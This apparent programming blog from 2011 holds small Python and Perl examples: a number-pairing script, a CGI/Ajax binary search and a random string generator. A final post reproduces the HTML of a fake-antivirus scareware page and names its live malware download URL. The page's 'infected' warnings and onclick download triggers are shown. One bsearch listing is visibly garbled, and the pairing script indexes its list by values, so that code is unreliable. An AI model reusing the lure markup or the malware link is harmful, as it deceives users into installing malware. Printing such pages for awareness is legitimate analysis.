Saturday, June 18, 2011

In list of numbers, find each pair that equals 100

Yes I know this has no graceful error protection for user input, wanted the example code to focused on problem space.

#!/usr/bin/env python
import random
import sys
X=int(sys.argv[1]) # e.g. enter 100 on the command line
print "In list of numbers, find each pair that equals " + str(X)

myNumbers = []
matched = []
for i in range(1,X):
 myNumbers.append(random.randrange(0,X))

for i in myNumbers:
 A=myNumbers.pop()
 for j in myNumbers:
  if A != False:
   try:
    if ((A+myNumbers[j]) == X):
     B=myNumbers[j]
     del myNumbers[j]
     matched.append([A, B])
     A = False
   except:
    TypeError

for i, j  in enumerate(matched):
 if ((i>0) and (i % 5 == 0)):
  print j
 else:   print j,

print
print "length of remaining unmatched numbers list is " + str(len(myNumbers)) 
print "length of remaining matched numbers list is " + str(len(matched)) 

Thursday, June 16, 2011

Binary search in Perl, using CGI.pm and Ajax

This is a little more complicated than most things on small-code.blogspot.com. There are two files, one is plain html with some javascript/ajax in it, and the other is a cgi.pm (C-G-I-Perl-Module) file that relies on your webserver properly serving perl scripts to the web.

My coding is based on a perl script I found on the web written by my first computer science instructor, Jonathan Jacky. His script is here.

Source code:
  1. bsearch subroutine
  2. search.html
  3. search.pl
bsearch subroutine
sub bsearch {
    my ($searchterm, $a) = @_;            
    my ($lower, $upper) = (0, @ - 1);   
    my $index;                            
    while ($lower <= $upper) {
 $index = int(($lower + $upper)/2);
        print " looking for  at index=$index point in between upper= and lower=$lower\n";
 if ($searchterm > $a->[$index] ) {$lower = $index+1;}
 elsif ($searchterm < $a->[$index] ) { $upper = $index-1; } 
 else {return "found  at line $index\n"; }
    }
    return "did not find: $searchterm\n"; 
$results=bsearch($searchword,\@sortedNums);       
print $results;
}
search.html
<html>
<head>
<title>Binary Search Perl CGI.pm</title>
<script language="Javascript">
function xmlhttpPost(strURL) {
    var xmlHttpReq = false;
    var self = this;
    // Mozilla/Safari
    if (window.XMLHttpRequest) {
        self.xmlHttpReq = new XMLHttpRequest();
    }
    // IE
    else if (window.ActiveXObject) {
        self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
    }
    self.xmlHttpReq.open('POST', strURL, true);
    self.xmlHttpReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    self.xmlHttpReq.onreadystatechange = function() {
        if (self.xmlHttpReq.readyState == 4) {
            updatepage(self.xmlHttpReq.responseText);
        }
    }
    self.xmlHttpReq.send(getquerystring());
}

function getquerystring() {
    var form     = document.forms['f1'];
    var searchterm = form.searchterm.value;
    qstr = 'w=' + escape(searchterm);  // NOTE: no '?' before querystring
    return qstr;
}

function updatepage(str){
    document.getElementById("result").value = str;
}
</script>
</head>
<body>
<h5>Lance Miller's fun with binary search with Perl CGI module</h5>
<form name="f1">
  <p>search term: <input name="searchterm" type="text" value="62303311"></input>  
  <input value="search" type="button" onclick='JavaScript:xmlhttpPost("search.pl")' onload='JavaScript:xmlhttpPost("search.pl")'>
</p>

<p><b>bsearch</b> subroutine is the core processing code in the server side perl script which sends plain text to this 
page's ajax powered javascript.</p>
<pre>
sub bsearch {
    my ($searchterm, $a) = @_;            
    my ($lower, $upper) = (0, @ - 1);   
    my $index;                            
    while ($lower <= $upper) {
 $index = int(($lower + $upper)/2);
        print " looking for  at index=$index point in between upper= and lower=$lower\n";
 if ($searchterm > $a->[$index] ) {$lower = $index+1;}
 elsif ($searchterm < $a->[$index] ) { $upper = $index-1; } 
 else {return "found  at line $index\n"; }
    }
    return "did not find: $searchterm\n"; 
$results=bsearch($searchword,\@sortedNums);       
print $results;
}
</pre>


  <div> 
     <br /><hr />
     <textarea name="result" id="result" cols="140" rows="1000" scroll="yes" wrap="false"></textarea>
  </div>
</form>

</body>
</html>
search.pl
#!/usr/bin/perl -w
use CGI;
use Time::HiRes;

$query = new CGI;
$searchword = $query->param('w');
$remotehost = $query->remote_host();
print $query->header;
$mytime=localtime;

loadArray();

sub loadArray {
@randomArray= (
"99884558",
"12818457",
"57978287",
"80679998",
"81303222",
"88621216",
"44913561",
"28114899",
"82977136",
"70551898",
"96350125",
"26897961",
"46830924",
"36044684",
"42834719",
"88961252",
"41790591",
"61873403",
"22431869",
"47438295",
"24847842",
"14577888",
"35200952",
"44220336",
"70100458",
"63085933",
"86282491",
"99533253",
"09606957",
"26034142",
"93138243",
"44042626",
"78027817",
"95596538",
"40287838",
"19490936",
"46403564",
"56726408",
"42105575",
"69488869",
"03687365",
"87610675",
"05981774",
"58369886",
"96835842",
"36738419",
"71274210",
"24520911",
"64788741",
"40151782",
"70354978",
"94359447",
"36165315",
"10014350",
"32517195",
"50210264",
"39334533",
"61385098",
"29101776",
"59219760",
"11384710",
"58970881",
"72601327",
"50786839",
"49107446",
"17273946",
"74325878",
"07433704",
"11391759",
"74435593",
"46669569",
"94159681",
"09289902",
"27369091",
"45030626",
"79245943",
"87420459",
"39055791",
"10578194",
"15662388",
"06526033",
"94628324",
"48604281",
"44331199",
"59710199",
"69737571",
"04236268",
"18985199",
"05858530",
"86624944",
"78581173",
"43803811",
"37060365",
"01104467",
"28615419",
"97957200",
"70096891",
"07057563",
"12445294",
"28036354",
"10320028",
"77906526",
"52886381",
"62637142",
"52656168",
"92824899",
"60038197",
"97247120",
"93108917",
"21585071",
"25846395",
"40264947",
"65230783",
"29575635",
"29140301",
"33618378",
"18420012",
"86075613",
"30948880",
"27966351",
"77210191",
"70000716",
"65269496",
"19486719",
"43614339",
"99787163",
"79110172",
"54273736",
"76534547",
"82339810",
"72816078",
"54100234",
"22582456",
"67006266",
"54900790",
"66454859",
"61700876",
"97869281",
"91129290",
"30022303",
"26749585",
"35702880",
"03491356",
"38671554",
"12200330",
"11950784",
"56779635",
"40962294",
"76120675",
"56312052",
"39296918",
"80648644",
"13141550",
"63994419",
"76166835",
"63611692",
"17357418",
"60490258",
"01911604",
"36400032",
"13739396",
"65574190",
"46806517",
"19233159",
"97672379",
"30818802",
"35319711",
"06166998",
"97214970",
"63464151",
"36999445",
"66820748",
"27606344",
"04552780",
"31081344",
"45698509",
"43527053",
"72217282",
"58489967",
"57576995",
"42753801",
"26540797",
"21023614",
"09078885",
"33425533",
"52546714",
"20917283",
"62534955",
"77487482",
"03021801",
"99006552",
"72681013",
"65984301",
"79023778",
"10590149",
"93690465",
"69285240",
"06033266",
"41182271",
"50009087",
"23479413",
"68739273",
"85968423",
"03984256",
"03270686",
"71287104",
"55693286",
"73001598",
"57187934",
"77088339",
"99153509",
"36859861",
"25565299",
"54517311",
"35984833",
"12862516",
"96467460",
"27314950",
"19656592",
"84564483",
"79966112",
"01388731",
"25049704",
"15696139",
"39722918",
"22080694",
"45668620",
"47334834",
"86945493",
"77950187",
"23749081",
"76593888",
"11185649",
"34320352",
"76220131",
"83124024",
"67549502",
"79348969",
"85612518",
"81958271",
"42047181",
"02138828",
"58731860",
"90757392",
"26055543",
"18294753",
"16550520",
"68997179",
"11557859",
"89236032",
"78761119",
"45078344",
"58350793",
"41448389",
"93928051",
"05611954",
"74822165",
"32493920",
"64859557",
"43629386",
"40294933",
"24735899",
"17790046",
"69668958",
"65646620",
"14662463",
"67771647",
"88873458",
"12498891",
"39826013",
"10131616",
"37950097",
"47579656",
"60554776",
"66799345",
"72659453",
"34980725",
"27037165",
"52907131",
"99112160",
"93202950",
"13324446",
"96271437",
"30291028",
"22606798",
"73129253",
"64496034",
"04108924",
"47779603",
"41901458",
"14190491",
"06895112",
"15508206",
"86588952",
"48276791",
"60120265",
"48712723",
"81915894",
"10159578",
"55809475",
"83468225",
"67467269",
"17469453",
"70525212",
"57201779",
"45660393",
"73933362",
"94260989",
"07848329",
"30319406",
"89138830",
"30731527",
"21932692",
"89661781",
"26143064",
"43355681",
"54467376",
"94608179",
"42003360",
"50892424",
"82545058",
"79868219",
"89424248",
"26531899",
"01625928",
"84607058",
"13877889",
"42448987",
"96274298",
"85582053",
"89902731",
"58405578",
"40043703",
"38088086",
"55745545",
"75754224",
"15430550",
"10110139",
"85800350",
"66874848",
"11197847",
"56485414",
"22829883",
"42852222",
"36272263",
"61935365",
"70881674",
"83340724",
"16035468",
"52328511",
"37386225",
"69860335",
"73649867",
"59896839",
"21073181",
"90897731",
"21077118",
"21050014",
"27353748",
"61895272",
"68669372",
"82470046",
"75925414",
"11079208",
"05273606",
"49965430",
"82107452",
"06218056",
"78638220",
"75567215",
"51477807",
"57419681",
"08598784",
"40740681",
"35757286",
"67917847",
"10210077",
"86763978",
"10222569",
"95974084",
"37703286",
"10770368",
"49127624",
"61927740",
"19679441",
"01174699",
"49310345",
"74987381",
"54164360",
"69183870",
"15579205",
"31803967",
"66551329",
"90202879",
"73676886",
"53602130",
"97203271",
"40794506",
"66968417",
"01654601",
"80883022",
"52744825",
"54170259",
"47235311",
"88627940",
"21140468",
"19967309",
"76223038",
"62803376",
"63153101",
"11573556",
"89034755",
"70003119",
"77655378",
"85501387",
"66281917",
"79780144",
"51412711",
"77562251",
"70460868",
"37163781",
"58789973",
"43206842",
"85659318",
"36933878",
"42776360",
"13558719",
"19037181",
"21137063",
"27303852",
"66937717",
"81834164",
"64989175",
"12233459",
"96651230",
"78166112",
"44255175",
"67243983",
"65363826",
"68637764",
"97186698",
"09657998",
"35679132",
"01873622",
"64982972",
"33306987",
"79786554",
"38701074",
"59650212",
"54629983",
"47570198",
"77980656",
"02810319",
"74713746",
"56552535",
"43597449",
"32574104",
"49488478",
"66048941",
"88581665",
"14660958",
"48725579",
"26443612",
"46674982",
"61927422",
"52835937",
"11905650",
"32292473",
"69643034",
"53148655",
"98179402",
"25683135",
"41645954",
"82556697",
"99496693",
"44128660",
"05344924",
"39184467",
"43340024",
"27787436",
"29215486",
"81782265",
"49731355",
"55906517",
"34223704",
"12352274",
"39200770",
"20845173",
"15443882",
"93025821",
"27755199",
"71412350",
"23086492",
"52908854",
"61599905",
"12557072",
"06325641",
"61838228",
"73100722",
"37751111",
"41748442",
"71575071",
"54110895",
"11821200",
"37324038",
"18952990",
"91246401",
"29364083",
"12378641",
"28991829",
"44396893",
"51490442",
"82602819",
"84510718",
"38624350",
"15275070",
"40271816",
"67290538",
"46583935",
"00761280",
"45512407",
"16322241",
"47549065",
"86317565",
"48869832",
"37739949",
"13899084",
"70839001",
"92698949",
"25773872",
"43543337",
"28092693",
"62282635",
"84788793",
"68360195",
"81094209",
"37030783",
"49456949",
"32182567",
"12609403",
"22390990",
"09052557",
"04494060",
"22537799",
"11808160",
"22525967",
"80927779",
"40607900",
"86981469",
"40176508",
"52181474",
"91985438",
"95394726",
"37414873",
"05394176",
"97163703",
"51693649",
"99390450",
"83073964",
"15353021",
"80013098",
"79191925",
"52736452",
"55329950",
"50908185",
"92769085",
"85254897",
"45064919",
"62660538",
"45477908",
"03383044",
"04528835",
"23798571",
"73772859",
"00269767",
"21967677",
"72626494",
"23933978",
"21181399",
"44455324",
"91998266",
"67601477",
"99392272",
"18794814",
"64201695",
"09117275",
"18513109",
"54506246",
"04233862",
"91065484",
"35173669",
"49882491",
"75757803",
"63472419",
"10842839",
"21363391",
"07040513",
"92867606",
"80009289",
"62792097",
"82711149",
"39770946",
"46240321",
"16198004",
"32673889",
"32571840",
"51578488",
"16666886",
"18715890",
"58305041",
"52563812",
"74476445",
"78378110",
"48950845",
"21181326",
"17599516",
"86421960",
"05877212",
"93808397",
"38124549",
"18114094",
"15181841",
"67281738",
"11033238",
"41999533",
"22661675",
"92919805",
"05096212",
"21089751",
"47676568",
"14777571",
"82728975",
"34713295",
"52881493",
"01873484",
"95390860",
"14255586",
"45061144",
"09505664",
"14386242",
"65139875",
"81479152",
"91148171",
"83278034",
"28632509",
"38713199",
"13388041",
"71886395",
"04474819",
"98271351",
"54549120",
"41931930",
"66478955",
"56247399",
"82552158",
"03131867",
"05669110",
"87746973",
"95776486",
"00263664",
"65386456",
"52849816",
"63767635",
"17110409",
"66118393",
"10489638",
"14735323",
"51176730",
"65781898",
"33491972",
"70527181",
"38978735",
"28146287",
"12218503",
"79255754",
"15871185",
"01393285",
"44357970",
"09364834",
"47434166",
"28488085",
"05212875",
"74928560",
"76954459",
"47791196",
"18150603",
"47825480",
"67801869",
"58940207",
"55119731",
"52316675",
"20435546",
"21083088",
"68067720",
"49508043",
"33497534",
"28487354",
"42893796",
"27485024",
"37422028",
"47305652",
"56417269",
"28879225",
"84878455",
"64321176",
"12076893",
"90453777",
"56333590",
"17309031",
"47669363",
"27008955",
"71649893",
"48860847",
"18083834",
"16534961",
"13280843",
"02420928",
"65804356",
"53570148",
"91401764",
"45170423",
"81806503",
"61562059",
"89934153",
"48686449",
"73923487",
"33397945",
"02936961",
"76077808",
"33901162",
"13229735",
"49617073",
"88424495",
"16413743",
"09325119",
"30762507",
"01011209",
"31112130",
"33533295",
"49045254",
"57988703",
"78472805",
"49758534",
"06547887",
"96626962",
"34307686",
"82104611",
"71148169",
"10748772",
"02619656",
"68622879",
"74966597",
"65570379",
"97009549",
"54365501",
"38731744",
"63541597",
"12828751",
"44381774",
"04954541",
"96402732",
"85093152",
"55746918",
"85408772",
"76483942",
"78790195",
"84015044",
"75018060",
"05611789",
"10546509",
"55495624",
"94054596",
"99589912",
"55668552",
"18509400",
"27885394",
"69309529",
"43586319",
"46743568",
"96910667",
"24270860",
"49728142",
"12532237",
"88958883",
"05618351",
"57579868",
"43086540",
"56334807",
"83308486",
"23171823",
"74599534",
"57241235",
"81736386",
"15280993",
"86953011",
"45281527",
"39300867",
"01053789",
"32793040",
"96302799",
"42829170",
"16749936",
"52868587",
"89480885",
"41968815",
"88101206",
"66949454",
"61038948",
"25921701",
"65441012",
"61903893",
"94958162",
"41203628",
"87967889",
"74686899",
"65999832",
"82348424",
"33928094",
"42283834",
"83043445",
"15334230",
"18178678",
"38809866",
"09173891",
"50016384",
"88503162",
"24564119",
"16556578",
"13715754",
"92584907",
"42685479",
"30410969",
"20023583",
"83504721",
"00618142",
"98721083",
"76685979",
"67144894",
"29018963",
"44553339",
"70253879",
"09211960",
"90864247",
"07045075",
"12518024",
"48816255",
"65134264",
"15798844",
"07522932",
"39508023",
"14764367",
"71818432",
"52512893",
"91407509",
"91842903",
"36856525",
"89830252",
"17893016",
"93720954",
"33143281",
"57160879",
"85299393",
"78016801",
"92573695",
"75559323",
"59630982",
"56210270",
"05469746",
"44945212",
"33295205",
"43705557",
"33628426",
"53284792",
"33792315",
"38233847",
"54341287",
"92993288",
"63847848",
"92996565",
"18308272",
"26587738",
"07159505",
"01740814",
"86392552",
"79550935",
"55251524",
"25638341",
"41599591",
"11561568",
"97507722",
"33770120",
"87257359",
"84580590",
"73717222",
"91242781",
"53800717",
"27602103",
"64286062",
"53028346",
"00361587",
"31848061",
"79395873",
"56516277",
"97499361",
"78537220",
"55820438",
"99143861",
"12605638",
"62038468",
"16921751",
"50877668",
"65714118",
"04868523",
"51017752",
"51805292",
"33392340",
"98011554",
"20223982",
"89363357",
"36922866",
"07379785",
"04776970",
"56701746",
"99406523",
"22486203",
"19988772",
"56097678",
"90924156",
"99156361",
"13540846",
"10559127",
"47153822",
"37539876",
"17653868",
"99252141",
"76844726",
"46152660",
"22974672",
"28801945",
"59359503",
"19982781",
"29257842",
"75274586",
"94038554",
"61453489",
"35429558",
"55423352",
"90631108",
"71534761",
"66391781",
"09737950",
"51351534",
"51473125",
"62490300",
"02926132",
"48364918",
"79868961",
"69632701",
"70212169",
"65042783",
"98773409",
"60516504",
"06414781",
"66522186",
"27396385",
"80720157",
"62123297",
"43243827",
"59184315",
"92892867",
"86091401",
"18732667",
"54749806",
"09060410",
"86693233",
"66276259",
"12477225",
"21119479",
"06252561",
"25448185",
"86645561",
"79505371",
"54438897",
"83690327",
"34452845",
"72914399",
"71725698",
"54679267",
"82538042",
"52893594",
"76673554",
"22111207",
"97720862",
"26867281",
"80511421",
"54558279",
"20854194",
"37611002",
"62303311",
"35723621",
"95272931",
"68872035",
"27361197",
"97372964",
"39577239",
"15285988",
"10116181",
"46930229",
"82474964",
"01849297",
"12552124",
"03572884",
"23968687",
"11880317",
"70428500",
"75027593",
"63279821",
"25617945",
"91055769",
"08053998",
"80653886",
"25246206",
"59468031",
"69000196");

my $start = [ Time::HiRes::gettimeofday( ) ];
@sortedNums = sort { $a <=> $b } @randomArray; # numerical sort 
my $elapsed = Time::HiRes::tv_interval( $start );
$sortElapsedTimeText="\tsort elapsed time: $elapsed seconds\n";
my $startBsearch = [ Time::HiRes::gettimeofday( ) ];
$results=bsearch($searchword,\@sortedNums);
my $elapsedBsearch = Time::HiRes::tv_interval( $startBsearch );
print "\t$results\n";
print $sortElapsedTimeText;
print "\tsearch elapsed time: $elapsedBsearch seconds\n";

print "\n\tbelow is the sorted list of numbers you searched against:\n\n";
foreach (@sortedNums) { print "\t\t\t$_\n";}

}


sub bsearch {
    my ($searchterm, $a) = @_;           
    my ($lower, $upper) = (0, @$a - 1);   
    my $index;                            
    while ($lower <= $upper) {
 $index = int(($lower + $upper)/2);
        print "\tlooking for $searchterm at index=$index point in between upper=$upper and lower=$lower\n";
 if ($searchterm > $a->[$index] ) {$lower = $index+1;}
 elsif ($searchterm < $a->[$index] ) { $upper = $index-1; } 
 else {return "\n\t\t>>> found $searchterm at line $index\n"; }
    }
    return "\n\t\t>>> did not find: $searchterm\n";        
}

python: generate list of random alphnumeric strings

#!/usr/bin/python

import random
import string

for x in range(1024):
 digits = "".join( [random.choice(string.digits) for i in xrange(8)] )
 chars = "".join( [random.choice(string.letters) for i in xrange(15)] )
 print digits + chars

Example output:

56985307qXISzpXPAVhoYok
67217516nEeRMLaPhAvtQQQ
84140559EBxosQvDFLHGRuf
86758787mSnrLIvfqupokXD
04359409JtSXkwjVHRXPLYw
99646628JSFuDhclDfgBJzv

Saturday, June 11, 2011

View source of a malware website: http://bzowwjcr.cz.cc/fast-scan/

Note the following HTML source code has a javascript function called download() and it points to URL http://bzowwjcr.cz.cc/fast-scan/download.php?q=2, when your browser pings that URL you will download a file named FastAntivirus2011.exe

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="Content-Language" content="en">
<title>Windows Antivirus 2011</title>
<style media="screen" type="text/css">.root {
 width: 100%;
 height: 100%;
}

.backgroundOpacityLayer {
 background-color: #000000;
 position: absolute;
 top: 0px;
 left: 0px;
 width: 100%;
 height: 100%;
 opacity: 0.75;
 -moz-opacity: 0.75;
 -khtml-opacity: 0.75;
 filter: progid:DXImageTransform.Microsoft.Alpha( opacity = 75 );
 z-index: 50;
}

.foregroundContentLayer {
 position: absolute;
 top: 0px;
 left: 0px;
}

#loading {
 position: absolute;
 left: 45%;
 top: 40%;
 padding: 2px;
 z-index: 20001;
 height: auto;
}

#loading a {
 color: #225588;
}

#loading .blog1 {
 background: white;
 color: #444;
 font: bold 13px tahoma, arial, helvetica;
 padding: 10px;
 margin: 0;
 height: auto;
}

#blog2 {
 font: normal 10px arial, tahoma, sans-serif;
}</style><style media="screen" type="text/css">@charset "windows-1251";div#imagesCssTestElement{width:2px;}div.backgroundOpacityLayer{display:none;}body{margin:0;padding:0;width:100%;height:100%;}html{height:100%;}.images_main{width:100%;height:100%;font-family:tahoma;font-size:1px;background:#fff;position:absolute;left:0;top:0;margin:0;}img{border:none;}.images_left{min-height:537px;height:100%;position:absolute;width:222px;background:#7190e0;z-index:1;}.images_spacer{width:1px;height:1px;font-size:1px;}.images_spacer15{width:1px;height:15px;font-size:1px;}.images_spacer53{width:1px;height:53px;font-size:1px;}.images_right{position:absolute;width:100%;min-width:572px;height:100%;margin-right:0;min-height:537px;top:0;overflow:auto;}.blog4 .left_icon_1,.blog4 .left_icon_2,.images_folder_1 b.icon,.images_folder_2 b.icon,.images_hdd_1 b.icon,.images_sec_1 b.icon,.cl_win_main .about b,.cl_infected_red b,b.threat{display:block;font-size:0;line-height:0;background-image:url(img4/icon_sprite.jpg);background-repeat:no-repeat;}b.threat{width:13px;height:16px;background-position:0 -160px;}.images_table,.images_scroll,.cl_win_main .about,.blog4,.cl_win_rightb,.cl_win_foot .downcornerl,.blog4 .images_top,.blog4 .images_bottom,.images_grad,b.del,.yellow_border .cornerup,.yellow_border .cornerd,.cl_win_foot .downcornerr{background-image:url(img4/main_sprite.jpg);background-repeat:no-repeat;}b.del{display:block;width:4px;height:20px;background-position:-513px -44px;}.cl_win_head .cornerr,.cl_win_head .cornerl,.cl_win_foot .downfon,.cl_win_head .fonup,.GridHead,.images_scroll_bg,.images_table_tr_1 td{background-image:url(img4/fill_sprite.gif);background-repeat:no-repeat;}
.blog4{width:186px;background-position:-1457px 0;background-repeat:repeat-y;position:relative;margin-top:7px;margin-left:6px;font-size:11px;padding-top:28px;padding-bottom:13px;padding-left:10px;line-height:1.4;padding-right:10px;margin-top:15px;}.blog4 .left_icon_1{width:16px;height:64px;position:absolute;top:35px;left:13px;background-position:0 0;}.blog4 .left_icon_2{width:16px;height:88px;position:absolute;top:35px;left:13px;background-position:0 -72px;}.blog4 
.images_top{position:absolute;left:0;top:0;background-position:-528px -20px;height:19px;width:192px;font-size:11px;font-weight:bold;font-family:tahoma;color:#345ab8;padding-left:14px;padding-top:4px;}
.blog4 .images_bottom{position:absolute;left:0;bottom:0;background-position:-734px -20px;height:2px;width:206px;font-size:1px;}.blog3{position:relative;font-size:11px;font-family:tahoma;color:#345ab8;padding-left:24px;height:17px;padding-top:1px;cursor:pointer;margin-top:6px;width:150px;}.blog3 img{position:absolute;left:0;top:0;}.blog5{position:relative;margin-left:240px;margin-top:10px;font-size:11px;font-weight:bold;}.blog5 span{color:#e20101;}.images_grad{width:329px;height:1px;line-height:0;font-size:0;overflow:hidden;margin-top:5px;margin-left:225px;background-position:-513px -43px;}.images_folders{overflow:hidden;zoom:1;}.images_folder_1{width:130px;height:38px;padding-left:45px;padding-top:10px;font-size:11px;left:250px;margin-top:15px;position:relative;float:left;}
.blog{height:16px;padding-left:20px;margin-top:5px;font-size:11px;font-weight:bold;color:#de0000;padding-top:2px;visibility:hidden;position:relative;}
.blog b{top:0;left:0;position:absolute;}.images_folder_2{width:140px;height:38px;padding-left:45px;padding-top:10px;font-size:11px;left:320px;margin-top:15px;position:relative;float:left;}.images_folder_1 b.icon,.images_folder_2 b.icon{width:37px;height:36px;background-position:-16px 0;position:absolute;top:0;left:0;}.images_hdd_1{width:150px;height:38px;padding-left:55px;padding-top:5px;font-size:11px;margin-left:245px;margin-top:10px;position:relative;}.images_hdd_1 b.icon{width:48px;height:26px;background-position:-16px -36px;position:absolute;top:0;left:0;}.images_sec_1{width:250px;height:38px;padding-left:55px;padding-top:10px;font-size:11px;margin-left:245px;margin-top:10px;position:relative;}.images_sec_1 b.icon{width:39px;height:48px;background-position:-16px -62px;position:absolute;top:0;left:0;}.community{height:14px;margin-top:5px;font-size:11px;font-weight:bold;color:#de0000;padding-top:2px;visibility:hidden;}.images_scroll{width:253px;height:17px;font-size:12px;font-weight:bold;background-position:-513px 0;margin-top:15px;margin-left:240px;padding-top:3px;padding-left:260px;position:relative;}.images_scroll span{position:relative;z-index:1;}.images_scroll_bg{position:absolute;left:5px;top:3px;width:0;height:15px;background-position:0 -111px;background-repeat:repeat-x;z-index:0;}.images_table{width:513px;height:211px;background-position:0 0;position:relative;margin-top:15px;margin-left:240px;visibility:hidden;}.blog6{margin-left:245px;font-size:11px;color:#4b4b4b;margin-top:2px;}.images_inner_table{width:480px;margin-left:15px;margin-top:48px;}.images_table_tr_1 td{background-position:0 -126px;background-repeat:repeat-x;font-family:verdana;font-size:11px;padding-left:8px;}.images_inner_table_cont{width:480px;margin-left:15px;height:97px;overflow:auto;}.images_inner_table_2 td{height:18px;padding-left:5px;font-size:11px;}.images_table_text{font-size:16px;color:#FFF;position:absolute;left:43px;top:8px;}.images_recommend{position:absolute;left:18px;bottom:15px;font-size:11px;cursor:pointer;}.images_start{position:absolute;right:15px;bottom:10px;cursor:pointer;}.images_left_border{height:100%;position:absolute;z-index:3;width:3px;background:#0731d9;left:0;top:0;}.images_right_border{height:100%;position:absolute;z-index:3;width:3px;font-size:1px;background:#0731d9;right:0;top:0;}.images_bottom_border{width:100%;position:absolute;z-index:3;height:3px;font-size:1px;background:#0731d9;left:0;bottom:0;}.images_main_content{width:800px;height:600px;position:relative;}.images_table_divider{background:url(img4/table_divider.gif);}#divider1{width:4px;height:20px;background-position:0 0;}#divider2{width:4px;height:20px;background-position:0 0;}#cl_alert{font-family:tahoma;}#cl_main{width:436px;height:350px;background-position:0 -20px;position:relative;}.close{width:25px;height:25px;position:absolute;top:0;right:0;cursor:pointer;}.move{width:410px;height:25px;position:absolute;top:0;left:0;}.spacer{width:1px;height:1px;font-size:1px;}  .text1{position:relative;margin-top:50px;margin-left:60px;width:355px;font-family:Verdana,Geneva,sans-serif;font-size:11px;font-weight:bold;color:#FFF;}.cl_viruses{width:410px;position:absolute;height:103px;top:135px;left:11px;overflow:auto;}.virus{float:left;width:280px;padding-left:5px;font-family:Tahoma,Geneva,sans-serif;font-size:11px;color:#F00;font-weight:bold;}.virusname{font-size:11px;}.text2{bottom:10px;left:50px;width:365px;font-size:11px;font-family:Tahoma,Geneva,sans-serif;position:absolute;}.remove{position:absolute;left:220px;top:250px;width:93px;height:22px;cursor:pointer;}.cancel{position:absolute;left:332px;top:250px;width:93px;height:22px;cursor:pointer;}.virus_1_1{padding-left:18px;position:relative;height:17px;padding-top:3px;font-size:11px;font-family:tahoma;}.cl_alert{width:436px;height:350px;margin-left:auto;margin-right:auto;}</style></head><body>
 

<!--[if IE]>
<style>
.images_scroll{width:513px;height:20px;font-size:12px;font-weight:bold;background-position:-513px 0;margin-top:15px;margin-left:240px;padding-top:3px;padding-left:260px;position:relative;}
.blog4{width:206px;background-position:-1457px 0;background-repeat:repeat-y;position:relative;margin-top:7px;margin-left:6px;font-size:11px;padding-top:28px;padding-bottom:13px;padding-left:10px;line-height:1.4;padding-right:10px;margin-top:15px;}.blog4 .left_icon_1{width:16px;height:64px;position:absolute;top:35px;left:13px;background-position:0 0;}.blog4 .left_icon_2{width:16px;height:88px;position:absolute;top:35px;left:13px;background-position:0 -72px;}.blog4 
.images_top{position:absolute;left:0;top:0;background-position:-528px -20px;height:19px;width:206px;font-size:11px;font-weight:bold;font-family:tahoma;color:#345ab8;padding-left:14px;padding-top:4px;}
.blog{width:120px;height:16px;padding-left:20px;margin-top:5px;font-size:11px;font-weight:bold;color:#de0000;padding-top:2px;visibility:hidden;position:relative;}
.images_folder_1{width:135px;height:38px;padding-left:45px;padding-top:10px;font-size:11px;left:250px;margin-top:15px;position:relative;float:left;}
</style>
<![endif]-->

<div id="loading" style="display:none;">
<div class="blog1">
<img style="margin-right: 8px; float: left; vertical-align: top;" src="img4/loading.gif" height="50" width="50"><br>
<span id="blog2">Initializing Protection System...</span></div></div>

<div id="content" style="display:none">

<div id="images"><div class="images_main"> 
 <div class="images_left" id="images_left">
  
  <div class="blog4">
 <div class="left_icon_1"></div>
 <div class="images_spacer"></div>

  <div class="images_top">System Tasks</div>
 <div class="images_bottom"></div>
   <div class="blog3" onclick="download();return false;">View system information</div>
   <div class="blog3" onclick="download();return false;">Add or remove programs</div>
   <div class="blog3" onclick="download();return false;">Change a settings</div>
 </div>
  <div class="blog4">

 <div class="left_icon_2"></div>
 <div class="images_spacer"></div>
  <div class="images_top">Other Places</div>
 <div class="images_bottom"></div>
   <div class="blog3" onclick="download();return false;">My Network Places</div>
   <div class="blog3" onclick="download();return false;">My Documents</div>
   <div class="blog3" onclick="download();return false;">Shared Documents</div>

   <div class="blog3" onclick="download();return false;">Control Panel</div>
 </div>
  <div class="blog4">
  <div class="images_spacer"></div>
  <div class="images_top">Details</div>
 <div class="images_bottom"></div>
   <strong>My Computer</strong><br>

System Folder
 </div>
 </div>
 
 <div class="images_right">
  
  <div class="images_spacer"></div>
  <div class="blog5">System folders<span id="blog5_alert"></span></div>
  <div class="images_grad"></div>
 <div class="images_folders">
 <div class="images_folder_1">

 <b class="icon"></b>
 Shared Documents
 <div style="visibility: hidden;" class="blog" id="blog"><b class="threat"></b><span id="123"></span> Viruses found</div>
 </div>
 <div class="images_folder_2">
 <b class="icon"></b>
 My Documents
 <div style="visibility:hidden;" class="blog" id="community"><b class="threat"></b><span id="567"></span> Viruses found</div>

 </div>
 </div>
 <div class="images_spacer"></div>
  <div class="blog5">Hard drive<span id="blog5_alert"></span></div>
  <div class="images_grad"></div>
 <div class="images_hdd_1">
 <b class="icon"></b>
 Hard drive (C:)
 <div style="visibility: hidden;" class="blog" id="forum"><b class="threat"></b><span id="345"></span> Viruses found</div>

 </div>
 <div class="blog5">Security<span id="blog5_alert"></span></div>
  <div class="images_grad"></div>
 <div style="background-position: 0px -566px;" class="images_sec_1" id="images_sec_1">
 <b class="icon"></b>
 Windows Security
 <div style="visibility: visible;" class="community" id="community_1">Security is affected by virus</div>
 </div>

 <div class="images_scroll"><span id="images_scroll">100</span><span>%</span>
  <div style="width:0px;" class="images_scroll_bg" id="images_scroll_bg"></div>
 </div>
 <div class="blog6" id="blog6_1">Checking: <span id="blog6"></span></div>
 <div style="visibility: visible;" class="images_table" id="images_table">
  <div class="images_table_text">Your Computer is infected</div>

   <div class="images_spacer"></div>
  <table class="images_inner_table" cellpadding="0" cellspacing="0">
  <tbody><tr class="images_table_tr_1">
  <td colspan="2" width="260">Name</td>
 <td width="4"><b class="del"></b></td>
 <td width="75">Type</td>
 <td width="4"><b class="del"></b></td>
 <td>Threat level</td>

 </tr>
 </tbody></table>
 <div class="images_inner_table_cont" id="images_inner_table_cont">
 <div class="images_spacer"></div>
 
 <table cellpadding="0" cellspacing="0" class="images_inner_table_2" id="tablevir">
  <tbody>
   <tr>
      <td width="14" height="20">
         </td>
      <td width="288" height="20"></td>
      <td width="90" height="20"></td>
